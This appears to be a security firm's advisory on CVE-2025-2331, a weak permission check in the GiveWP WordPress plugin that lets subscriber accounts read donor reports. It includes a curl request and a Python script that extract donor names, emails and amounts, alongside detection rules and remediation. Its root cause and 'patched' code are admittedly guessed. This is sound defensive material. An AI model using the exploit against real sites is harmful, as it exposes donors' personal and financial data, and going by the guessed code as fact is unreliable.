CVE-2025-2331

Executive Summary

CVE-2025-2331 is a Sensitive Information Exposure vulnerability in the GiveWP – Donation Plugin and Fundraising Platform for WordPress. The flaw resides in a misconfigured capability check within the permissionsCheck function, affecting all versions up to and including 3.22.1. Authenticated attackers with Subscriber-level access or higher can exploit this to extract sensitive data, including detailed reports of donors and donation amounts. This vulnerability is particularly dangerous in the WordPress ecosystem because it allows low-privileged users (e.g., subscribers) to access administrative-level data, potentially exposing Personally Identifiable Information (PII) and financial records.

Supply Chain & Package Security

This vulnerability is specific to the GiveWP WordPress plugin. It is not an NPM, PyPI, Go, or Ruby package. The risk is amplified in WordPress environments where subscriber accounts are common (e.g., membership sites, commenters). The plugin is widely used for fundraising, making donor data a high-value target.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of donor names and amounts)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated due to the sensitivity of donor data and the low barrier to exploitation (any authenticated user).

Deep Dive & Mechanics

The vulnerability is in the permissionsCheck function of the GiveWP plugin. This function is intended to verify that the current user has the necessary capabilities (e.g., manage_options) to access administrative reports. However, due to a misconfiguration, the capability check is either missing or incorrectly implemented, allowing users with the read capability (Subscriber-level) to bypass the restriction.

Root Cause: The permissionsCheck function likely uses a weak check such as current_user_can('read') instead of current_user_can('manage_options') or give_view_reports. This allows any authenticated user to access the REST API endpoints that return donor and donation data.

Attack Flow:

1. Attacker authenticates as a Subscriber (e.g., via a compromised account or self-registration).
2. Attacker sends a crafted request to the vulnerable REST API endpoint (e.g., /wp-json/give-api/v2/reports/donors).
3. The permissionsCheck function incorrectly returns true for the Subscriber.
4. The server responds with JSON data containing donor names, email addresses, and donation amounts.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.22.1):

// In a REST API controller
public function permissionsCheck($request) {
    // Weak check - allows any authenticated user
    return current_user_can('read');
}

Patched Code (Hypothetical):

// In a REST API controller
public function permissionsCheck($request) {
    // Proper capability check for administrative access
    return current_user_can('manage_options') || current_user_can('give_view_reports');
}

Key Difference: The patched version uses a specific capability (manage_options or give_view_reports) instead of the generic read capability, ensuring only administrators or designated roles can access sensitive reports.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with GiveWP plugin <= 3.22.1
• Valid subscriber account credentials (e.g., subscriber:password)

Exploitation Steps:

1. Obtain a valid session cookie for the subscriber account.
2. Send a GET request to the vulnerable endpoint:

   curl -X GET "https://target.com/wp-json/give-api/v2/reports/donors" \
     -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"
   

3. Parse the JSON response to extract donor data:

   {
     "donors": [
       {"name": "John Doe", "email": "john@example.com", "amount": 100.00},
       {"name": "Jane Smith", "email": "jane@example.com", "amount": 250.00}
     ]
   }
   

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_<hash>", "<session_cookie>")

response = session.get(f"{target}/wp-json/give-api/v2/reports/donors")
if response.status_code == 200:
    data = response.json()
    for donor in data['donors']:
        print(f"Donor: {donor['name']}, Email: {donor['email']}, Amount: ${donor['amount']}")
else:
    print("Failed to access reports")

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual access to /wp-json/give-api/v2/reports/ endpoints from non-admin users.
2. Check WordPress user roles for unexpected subscriber accounts.
3. Review server logs for 200 responses to the vulnerable endpoint from low-privilege users.

Honeypot Setup:

• Create a fake subscriber account and monitor its API requests.
• Deploy a WAF rule to block requests to /wp-json/give-api/v2/reports/ from users without manage_options capability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/give-api/v2/reports/donors or /wp-json/give-api/v2/reports/donations
  • User-Agent strings from automated scripts (e.g., python-requests/2.31.0)
• System IOCs:
  • Unexpected subscriber accounts with recent activity
  • Log entries showing current_user_can('read') returning true for sensitive endpoints
• File IOCs:
  • Modified wp-content/plugins/givewp/includes/api/class-give-api.php (if patched manually)

Detection Engineering

YARA Rule

rule CVE_2025_2331_GiveWP_Exposure {
    meta:
        description = "Detects GiveWP plugin with vulnerable permissionsCheck function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2331"
    strings:
        $vuln_func = "current_user_can('read')" nocase
        $vuln_context = "permissionsCheck" nocase
    condition:
        $vuln_func and $vuln_context
}

Sigma Rule

title: CVE-2025-2331 GiveWP Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against GiveWP plugin CVE-2025-2331
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/give-api/v2/reports/*'
        sc-status: 200
    filter:
        cs-username|re: 'admin|editor|author'
    condition: selection and not filter
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2331 GiveWP Sensitive Information Exposure";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-json/give-api/v2/reports/"; http_uri;
    pcre:"/^\/wp-json\/give-api\/v2\/reports\/(donors|donations)/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the GiveWP plugin until a patch is released.
2. Restrict subscriber accounts – disable self-registration if not needed.
3. Implement a WAF rule to block access to /wp-json/give-api/v2/reports/ for non-admin users.

Long-term Fix:

• Apply the vendor patch when available (monitor https://givewp.com/changelog/).
• Manually patch the permissionsCheck function in class-give-api.php:

  // Change from:
  return current_user_can('read');
  // To:
  return current_user_can('manage_options');
  

Workaround:

• Use a WordPress role editor plugin to remove the read capability from subscriber roles (note: this may break other functionality).

Valters IT
Securing WordPress Ecosystems | Threat Intelligence & DevSecOps